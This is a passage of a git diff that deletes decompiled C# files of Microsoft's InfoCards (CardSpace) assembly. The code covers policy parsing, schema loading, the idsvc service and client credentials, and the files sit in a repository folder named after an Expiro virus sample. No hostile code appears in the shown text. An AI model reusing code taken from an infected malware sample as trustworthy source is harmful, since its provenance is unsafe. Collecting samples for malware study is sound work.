stringBuilder.Append(chainStatus[index].StatusInformation); - stringBuilder.Append(" "); - } - } - return stringBuilder.ToString(); - } - - private static void AppendCertificateIdentityName( - StringBuilder str, - X509Certificate2 certificate) - { - string str1 = certificate.SubjectName.Name; - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.DnsName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.SimpleName, false); - if (string.IsNullOrEmpty(str1)) - { - str1 = certificate.GetNameInfo(X509NameType.EmailName, false); - if (string.IsNullOrEmpty(str1)) - str1 = certificate.GetNameInfo(X509NameType.UpnName, false); - } - } - } - str.Append(string.IsNullOrEmpty(str1) ? "" : str1); - str.Append("; "); - str.Append(certificate.Thumbprint); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardPolicy.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardPolicy.cs deleted file mode 100644 index 66d7722f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardPolicy.cs +++ /dev/null @@ -1,237 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardPolicy -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Security; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardPolicy - { - private static XmlNamespaceManager m_defNamespaces = XmlNames.CreateNamespaceManager((XmlNameTable) new NameTable()); - private EndpointAddress m_issuer; - private string m_privacyPolicyLink = string.Empty; - private uint m_privacyPolicyVersion; - private bool m_isManaged; - private bool m_requiresManagedCard; - private RecipientIdentity m_immediateTokenRecipientIdentity; - private RecipientIdentity m_recipientIdentity; - private Policy m_policyPrimary; - private Policy m_policySecondary; - private Policy m_policyMerged; - private readonly PolicyUsageContext m_policyUsageContext; - - public InfoCardPolicy( - EndpointAddress immediateTokenRecipient, - EndpointAddress issuer, - ParsedPolicy policy, - PolicyUsageContext policyUsageContext, - string privacyUrl, - uint privacyVersion, - RecipientIdentity recipientIdentity, - bool isManaged) - { - this.m_policyUsageContext = policyUsageContext; - this.m_issuer = issuer; - this.m_recipientIdentity = recipientIdentity; - this.m_immediateTokenRecipientIdentity = RecipientIdentity.CreateIdentity(immediateTokenRecipient, false); - this.m_isManaged = isManaged; - if (policy != null) - this.ParseIncomingPolicy(policy); - if (!InfoCardPolicy.IsSelfIssuedUriPresent(this.m_issuer) && issuer != (EndpointAddress) null && !Utility.CompareUri(issuer.Uri, new Uri("http://schemas.microsoft.com/2005/12/ServiceModel/Addressing/Anonymous"))) - this.m_requiresManagedCard = true; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ParseIncomingPolicy(ParsedPolicy parsedPolicy) - { - if (PolicyType.Composite == parsedPolicy.PolicyType) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = Policy.CreateMergedPolicy(parsedPolicy.PolicyXmlOriginal, this.m_policyPrimary, this.m_policySecondary); - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else if (parsedPolicy.PolicyType == PolicyType.PrimaryOnly) - { - try - { - this.m_policyPrimary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlPrimary); - this.m_policyMerged = this.m_policyPrimary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - else - { - if (PolicyType.SecondaryOnly != parsedPolicy.PolicyType) - return; - try - { - this.m_policySecondary = PolicyFactory.CreatePolicyFromUnwrappedPolicyXml(parsedPolicy.PolicyXmlSecondary); - this.m_policyMerged = this.m_policySecondary; - } - catch (XmlSchemaValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("SchemaValidationFailed"), (Exception) ex)); - } - } - } - - public Policy MergedPolicy => this.m_policyMerged; - - public string RequestType => this.m_policyMerged.RequestType; - - public Policy ClientPolicy => this.m_policyPrimary; - - public Policy RelyingPartyPolicy => this.m_policySecondary; - - public OptionalRstParameters OptionalRstParams => this.m_policyMerged.OptionalRstParams; - - public string[] RequiredClaims => this.m_policyMerged.RequiredClaims; - - public string[] OptionalClaims => this.m_policyMerged.OptionalClaims; - - public SecurityKeyTypeInternal KeyType => this.m_policyMerged.KeyType; - - public bool KeyTypeSpecified => this.m_policyMerged.KeyTypeSpecified; - - public EndpointAddress PolicyAppliesTo => this.m_policyMerged.PolicyAppliesTo; - - public MemoryStream UnprocessedPolicyElements => this.m_policyMerged.UnprocessedPolicyElements; - - public bool KeySizeSpecified => this.m_policyMerged.KeySizeSpecified; - - public uint KeySize => this.m_policyMerged.KeySize; - - public bool NonWhiteListElementsFound => this.m_policyMerged.NonWhiteListElementsFound; - - public List NonWhiteListElements => this.m_policyMerged.NonWhiteListElements; - - public ProtocolProfile ProtocolVersionProfile => this.m_policyMerged.ProtocolVersionProfile; - - public RecipientIdentity ImmediateTokenRecipient => this.m_immediateTokenRecipientIdentity; - - public EndpointAddress Issuer => this.m_issuer; - - public RecipientIdentity Recipient => this.m_recipientIdentity; - - public uint GetIntelligentKeySize(bool isSelfIssuedCardSelected) - { - if (isSelfIssuedCardSelected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - if (SecurityKeyTypeInternal.AsymmetricKey == this.KeyType) - return 2048; - if (this.KeyType == SecurityKeyTypeInternal.SymmetricKey) - return !this.KeySizeSpecified ? (uint) SecurityAlgorithmSuite.Default.DefaultSymmetricKeyLength : this.KeySize; - InfoCardTrace.Assert(false, "Should access this property only in managed card non-no proof key scenario"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - - public string GetKeyTypeString() - { - switch (this.KeyType) - { - case SecurityKeyTypeInternal.SymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeSymmetric.ToString(); - case SecurityKeyTypeInternal.AsymmetricKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeAsymmetric.ToString(); - case SecurityKeyTypeInternal.NoKey: - return this.m_policyMerged.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString(); - default: - InfoCardTrace.Assert(false, "Impossible condition in code"); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - } - } - - public string PrivacyPolicyLink => this.m_privacyPolicyLink; - - public uint PrivacyPolicyVersion => this.m_privacyPolicyVersion; - - public bool IsManaged => this.m_isManaged; - - public bool RequiresManagedCard => this.m_requiresManagedCard; - - public bool RequiresSelfIssuedCard => !((EndpointAddress) null == this.m_issuer) && Utility.CompareUri(this.m_issuer.Uri, new Uri("http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self")); - - public void SetRecipientInfo( - RecipientIdentity recipientIdentity, - string privacyUrl, - uint privacyVersion) - { - this.m_recipientIdentity = recipientIdentity; - this.m_privacyPolicyLink = privacyUrl; - this.m_privacyPolicyVersion = privacyVersion; - } - - private void ComputeRequiresManagedCardFlag() - { - if (this.m_policyMerged.NonWhiteListElementsFound) - this.m_requiresManagedCard = true; - foreach (string requiredClaim in this.m_policyMerged.RequiredClaims) - { - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.m_requiresManagedCard = true; - } - if (!string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.TokenType) && !PolicyUtility.IsSelfIssuedTokenType(this.m_policyMerged.OptionalRstParams.TokenType)) - this.m_requiresManagedCard = true; - if (!(this.m_immediateTokenRecipientIdentity is X509RecipientIdentity) && this.m_policyMerged.KeyType == SecurityKeyTypeInternal.SymmetricKey) - this.m_requiresManagedCard = true; - if (string.IsNullOrEmpty(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policyMerged.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.m_requiresManagedCard = true; - } - - private void FillComputedPolicy() => this.ComputeRequiresManagedCardFlag(); - - public void Validate() - { - bool flag = this.m_policyMerged.RequiredClaims == null || 0 == this.m_policyMerged.RequiredClaims.Length; - PolicyValidator policyValidator; - if (this.m_policyUsageContext == PolicyUsageContext.Browser) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = (PolicyValidator) new BrowserPolicyValidator(this); - } - else if (PolicyUsageContext.GetToken == this.m_policyUsageContext) - { - if (flag) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoClaimsFoundInPolicy"))); - this.FillComputedPolicy(); - policyValidator = new PolicyValidator(this); - } - else - policyValidator = (PolicyValidator) new IntermediatePolicyValidator(this); - policyValidator.Validate(); - } - - public void ThrowIfNonPpidClaimsPresent() - { - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_policyMerged.RequiredClaims == null || this.m_policyMerged.OptionalClaims == null, "claims"); - if (this.m_policyMerged.RequiredClaims.Length != 1 || !(this.m_policyMerged.RequiredClaims[0] == InfoCardConstants.PPIDClaimsUri) || this.m_policyMerged.OptionalClaims.Length != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("IPStsPolicyRequestingNonPpidClaims"))); - } - - public static bool IsSelfIssuedUriPresent(EndpointAddress address) => !((EndpointAddress) null == address) && Utility.CompareUri(address.Uri, XmlNames.WSIdentity.SelfIssuerUriValue); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardRequestException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardRequestException.cs deleted file mode 100644 index 0bb994c7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardRequestException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardRequestException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class InfoCardRequestException : InfoCardBaseException - { - private const int HRESULT = -1073413882; - - public InfoCardRequestException() - : base(-1073413882) - { - } - - public InfoCardRequestException(string message) - : base(-1073413882, message) - { - } - - public InfoCardRequestException(string message, Exception inner) - : base(-1073413882, message, inner) - { - } - - protected InfoCardRequestException(SerializationInfo si, StreamingContext sc) - : base(-1073413882, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardSchemas.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardSchemas.cs deleted file mode 100644 index b12e1ec8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardSchemas.cs +++ /dev/null @@ -1,156 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardSchemas -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Xml; -using System.Xml.Schema; - -namespace Microsoft.InfoCards -{ - internal class InfoCardSchemas - { - private static readonly string[] s_primarySchemas = new string[2] - { - "identity.xsd", - "ws-identity-2007.xsd" - }; - private static readonly InfoCardSchemas.SchemaLocationResourceMapping[] s_supportingSchemas = new InfoCardSchemas.SchemaLocationResourceMapping[13] - { - new InfoCardSchemas.SchemaLocationResourceMapping("addressing.xsd", "http://www.w3.org/2005/08/addressing/addressing.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("addressing04.xsd", "http://schemas.xmlsoap.org/ws/2004/08/addressing/"), - new InfoCardSchemas.SchemaLocationResourceMapping("xmldsig-core-schema.xsd", "http://www.w3.org/TR/xmldsig-core/xmldsig-core-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xml.xsd", "http://www.w3.org/2001/xml.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("xenc-schema.xsd", "http://www.w3.org/TR/xmlenc-core/xenc-schema.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-secext-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping("oasis-200401-wss-wssecurity-utility-1.0.xsd", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyXmlSoap2004.Instance.LocalSchemaLocation, XmlNames.WSPolicyXmlSoap2004.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSPolicyW32007.Instance.LocalSchemaLocation, XmlNames.WSPolicyW32007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSSecurityPolicyOasis2007.Instance.LocalSchemaLocation, XmlNames.WSSecurityPolicyOasis2007.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustXmlSoap2005.Instance.LocalSchemaLocation, XmlNames.WSTrustXmlSoap2005.Instance.SchemaLocation), - new InfoCardSchemas.SchemaLocationResourceMapping(XmlNames.WSTrustOasis2007.Instance.LocalSchemaLocation, XmlNames.WSTrustOasis2007.Instance.SchemaLocation) - }; - private static InfoCardSchemas s_current = new InfoCardSchemas(Assembly.GetExecutingAssembly()); - private InfoCardSchemas.LocalCachingResolver m_resolver; - private Assembly m_assembly; - private XmlSchemaSet m_schemas; - private object m_sync; - - private InfoCardSchemas(Assembly sourceAssembly) - { - this.m_sync = new object(); - this.m_resolver = new InfoCardSchemas.LocalCachingResolver(); - this.m_assembly = sourceAssembly; - } - - public static XmlSchemaSet GetSchemaSet() - { - if (InfoCardSchemas.s_current.m_schemas == null) - { - lock (InfoCardSchemas.s_current.m_sync) - { - if (InfoCardSchemas.s_current.m_schemas == null) - InfoCardSchemas.s_current.InitializeSchemas(); - } - } - return InfoCardSchemas.s_current.m_schemas; - } - - public static XmlReader CreateReader(string fragment) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(fragment)); - - public static XmlReader CreateReader(Stream stream, XmlReaderSettings settings) => InfoCardSchemas.CreateReader(Utility.CreateReaderWithQuotas(stream), settings); - - public static XmlReader CreateReader( - XmlDictionaryReader reader, - XmlReaderSettings settings) - { - return XmlReader.Create((XmlReader) reader, settings); - } - - public static XmlReader CreateReader(XmlDictionaryReader reader) - { - XmlReaderSettings defaultReaderSettings = InfoCardSchemas.CreateDefaultReaderSettings(); - return XmlReader.Create((XmlReader) reader, defaultReaderSettings); - } - - public static XmlReaderSettings CreateDefaultReaderSettings() - { - XmlReaderSettings defaultReaderSettings = new XmlReaderSettings(); - defaultReaderSettings.CloseInput = false; - defaultReaderSettings.ValidationType = ValidationType.Schema; - defaultReaderSettings.ValidationFlags = XmlSchemaValidationFlags.ReportValidationWarnings; - defaultReaderSettings.ConformanceLevel = ConformanceLevel.Auto; - defaultReaderSettings.Schemas = InfoCardSchemas.GetSchemaSet(); - defaultReaderSettings.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - defaultReaderSettings.XmlResolver = (XmlResolver) InfoCardSchemas.s_current.m_resolver; - defaultReaderSettings.IgnoreComments = true; - defaultReaderSettings.IgnoreWhitespace = true; - defaultReaderSettings.IgnoreProcessingInstructions = true; - return defaultReaderSettings; - } - - private void InitializeSchemas() - { - InfoCardSchemas.LocalCachingResolver localCachingResolver = new InfoCardSchemas.LocalCachingResolver(); - for (int index = 0; index < InfoCardSchemas.s_supportingSchemas.Length; ++index) - { - Uri location = new Uri(InfoCardSchemas.s_supportingSchemas[index].SchemaLocation); - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_supportingSchemas[index].ResourceName), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - localCachingResolver.AddLocalSchema(location, schema); - } - XmlSchemaSet xmlSchemaSet = new XmlSchemaSet(); - xmlSchemaSet.XmlResolver = (XmlResolver) localCachingResolver; - for (int index = 0; index < InfoCardSchemas.s_primarySchemas.Length; ++index) - { - System.Xml.Schema.XmlSchema schema = System.Xml.Schema.XmlSchema.Read(this.m_assembly.GetManifestResourceStream(InfoCardSchemas.s_primarySchemas[index]), new ValidationEventHandler(InfoCardSchemas.ErrorHandler)); - xmlSchemaSet.Add(schema); - } - xmlSchemaSet.ValidationEventHandler += new ValidationEventHandler(InfoCardSchemas.ErrorHandler); - xmlSchemaSet.Compile(); - this.m_resolver = localCachingResolver; - this.m_schemas = xmlSchemaSet; - } - - private static void ErrorHandler(object sender, ValidationEventArgs args) - { - if (args.Severity == XmlSeverityType.Error) - throw InfoCardTrace.ThrowHelperCritical((Exception) new XmlSchemaValidationException(SR.GetString("SchemaValidationError", (object) args.Exception.Message), (Exception) args.Exception)); - } - - private class LocalCachingResolver : XmlUrlResolver - { - private Dictionary m_table; - - public LocalCachingResolver() => this.m_table = new Dictionary(); - - public void AddLocalSchema(Uri location, System.Xml.Schema.XmlSchema schema) => this.m_table.Add(location, schema); - - public override Uri ResolveUri(Uri baseUri, string relativeUri) => base.ResolveUri(baseUri, relativeUri); - - public override object GetEntity(Uri absoluteUri, string role, Type ofObjectToReturn) => (object) this.m_table[absoluteUri]; - } - - private class SchemaLocationResourceMapping - { - private string m_resourceName; - private string m_schemaLocation; - - public SchemaLocationResourceMapping(string resourceName, string schemaLocation) - { - this.m_resourceName = resourceName; - this.m_schemaLocation = schemaLocation; - } - - public string ResourceName => this.m_resourceName; - - public string SchemaLocation => this.m_schemaLocation; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardService.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardService.cs deleted file mode 100644 index 2360e56e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardService.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardService -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.Net; -using System.Net.Security; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.ServiceProcess; - -namespace Microsoft.InfoCards -{ - internal class InfoCardService : ServiceBase - { - public const int WindowsVistaMajorVersion = 6; - public const string FullServiceName = "idsvc"; - private RpcCallbacks m_rpcCallbacks; - public static LifeTimeMonitor LifeTimeMonitor; - - public static event EventHandler Stopping; - - public InfoCardService() - { - bool flag1 = 0 != NativeMethods.GetSystemMetrics(86); - bool flag2 = Environment.OSVersion.Version.Major < 6; - if (NativeMcppMethods.AdjustPrivilegesWrapper(flag1 && flag2) != 0U) - InfoCardService.Crash((Exception) new Win32Exception()); - try - { - NativeMcppMethods.AdjustServiceProcessSecurity(); - } - catch (Win32Exception ex) - { - InfoCardService.Crash((Exception) ex); - } - this.ServiceName = "idsvc"; - this.CanStop = true; - this.CanShutdown = true; - this.CanPauseAndContinue = false; - this.CanHandleSessionChangeEvent = true; - this.CanHandlePowerEvent = false; - this.AutoLog = true; - this.m_rpcCallbacks.uiAgentRequestAuthorize = new RpcAuthorizeCallback(UIAgentRequest.Authorize); - this.m_rpcCallbacks.uiAgentRequestBindToService = new RpcUIAgentBindToServiceCallback(UIAgentRequest.BindToService); - this.m_rpcCallbacks.clientRequestAuthorize = new RpcAuthorizeCallback(ClientRequest.Authorize); - this.m_rpcCallbacks.clientRequestBindToService = new RpcClientBindToServiceCallback(ClientUIRequest.BindToService); - this.m_rpcCallbacks.requestFactoryProcessNewRequest = new RpcProcessNewRequestCallback(RequestFactory.ProcessNewRequest); - this.m_rpcCallbacks.allocMem = new RpcAllocMemCallback(Marshal.AllocHGlobal); - this.m_rpcCallbacks.freeMem = new RpcFreeMemCallback(Marshal.FreeHGlobal); - this.m_rpcCallbacks.rundownClientContext = new RpcRundownClientContextHandle(ClientUIRequest.RemoveAndDisposeContextMapping); - InfoCardService.LifeTimeMonitor = new LifeTimeMonitor(); - ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(InfoCardX509Validator.ValidateChainOrPeerCallback); - } - - protected override void Dispose(bool disposing) => base.Dispose(disposing); - - protected override void OnStart(string[] args) - { - base.OnStart(args); - AppDomain.CurrentDomain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal); - using (HGlobalSafeHandle hglobalSafeHandle = HGlobalSafeHandle.Construct(Marshal.SizeOf((object) this.m_rpcCallbacks))) - { - Marshal.StructureToPtr((object) this.m_rpcCallbacks, hglobalSafeHandle.DangerousGetHandle(), false); - uint error = NativeMcppMethods.InfoCardStartRpcServerWrapper(InfoCardUIAgent.UiAgentFullPath, hglobalSafeHandle.DangerousGetHandle()); - if (error != 0U) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception((int) error)); - } - } - - protected override void OnStop() - { - try - { - InfoCardUIAgent.DoShutdown(); - int num = (int) NativeMcppMethods.InfoCardStopRpcServerWrapper(); - this.OnStopping(); - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - } - finally - { - base.OnStop(); - } - } - - protected virtual void OnStopping() - { - if (InfoCardService.Stopping == null) - return; - InfoCardService.Stopping((object) this, new EventArgs()); - } - - protected override void OnSessionChange(SessionChangeDescription changeDescription) - { - if (SessionChangeReason.SessionLogoff != changeDescription.Reason) - return; - InfoCardUIAgent.OnLogout((uint) changeDescription.SessionId); - } - - public static void Crash() => InfoCardService.Crash((Exception) null); - - public static void Crash(Exception e) => InfoCardTrace.FailFast(e.Message); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs deleted file mode 100644 index 5f7911a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs +++ /dev/null @@ -1,143 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardServiceClientCredentials -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Description; -using System.ServiceModel.Dispatcher; -using System.ServiceModel.Security.Tokens; - -namespace Microsoft.InfoCards -{ - internal class InfoCardServiceClientCredentials : ClientCredentials - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private bool m_isSelfIssued; - private ProtocolProfile m_protocolProfile; - private RSATokenProvider m_endorsingSigTokenProvider; - - public InfoCardServiceClientCredentials(TokenFactoryCredential creds, ProtocolProfile profile) - { - this.m_credentials = creds; - this.m_protocolProfile = profile; - } - - public InfoCardServiceClientCredentials( - InfoCardServiceClientCredentials other, - ProtocolProfile profile) - : base((ClientCredentials) other) - { - this.m_credentials = other.m_credentials; - this.m_endorsingSigTokenProvider = other.m_endorsingSigTokenProvider; - this.m_protocolProfile = profile; - } - - public InfoCard SelectedCard - { - get => this.m_card; - set => this.m_card = value; - } - - public bool IsSelfIssuedCred - { - get => this.m_isSelfIssued; - set => this.m_isSelfIssued = value; - } - - public RSATokenProvider EndorsingSignatureTokenProvider - { - get => this.m_endorsingSigTokenProvider; - set => this.m_endorsingSigTokenProvider = value; - } - - public ProtocolProfile ProtocolVersionProfile => this.m_protocolProfile; - - protected override ClientCredentials CloneCore() => (ClientCredentials) new InfoCardServiceClientCredentials(this, this.m_protocolProfile); - - public override void ApplyClientBehavior( - ServiceEndpoint serviceEndpoint, - ClientRuntime behavior) - { - } - - public override SecurityTokenManager CreateSecurityTokenManager() => (SecurityTokenManager) new InfoCardServiceClientCredentials.InfoCardServiceClientCredentialsSecurityTokenManager(this); - - private class InfoCardServiceClientCredentialsSecurityTokenManager : - ClientCredentialsSecurityTokenManager - { - private InfoCard m_card; - private TokenFactoryCredential m_credentials; - private ProtocolProfile m_protocolProfile; - - public InfoCardServiceClientCredentialsSecurityTokenManager( - InfoCardServiceClientCredentials creds) - : base((ClientCredentials) creds) - { - this.m_card = creds.SelectedCard; - this.m_credentials = creds.m_credentials; - this.m_protocolProfile = creds.ProtocolVersionProfile; - } - - public override SecurityTokenProvider CreateSecurityTokenProvider( - SecurityTokenRequirement tokenRequirement) - { - string str = tokenRequirement != null ? tokenRequirement.TokenType : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (tokenRequirement)); - bool flag = null != ((InfoCardServiceClientCredentials) this.ClientCredentials).EndorsingSignatureTokenProvider; - if (this.IsIssuedSecurityTokenRequirement(tokenRequirement)) - { - if (this.m_credentials.CredentialType != TokenFactoryCredentialType.SelfIssuedCredential) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("CardDoesNotMatchRequiredAuthType"))); - IssuedSecurityTokenParameters property1 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.IssuedSecurityTokenParametersProperty); - EndpointAddress property2 = tokenRequirement.GetProperty(ServiceModelSecurityTokenRequirement.TargetAddressProperty); - if (property1.IssuerAddress != (EndpointAddress) null && Utility.CompareUri(property1.IssuerAddress.Uri, XmlNames.WSIdentity.SelfIssuerUriValue)) - return (SecurityTokenProvider) new CustomTokenProvider(property1, this.m_card, property2, ((InfoCardServiceClientCredentials) this.ClientCredentials).IsSelfIssuedCred, this.m_protocolProfile); - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("InvalidIssuerForIssuedToken"))); - } - if (str == 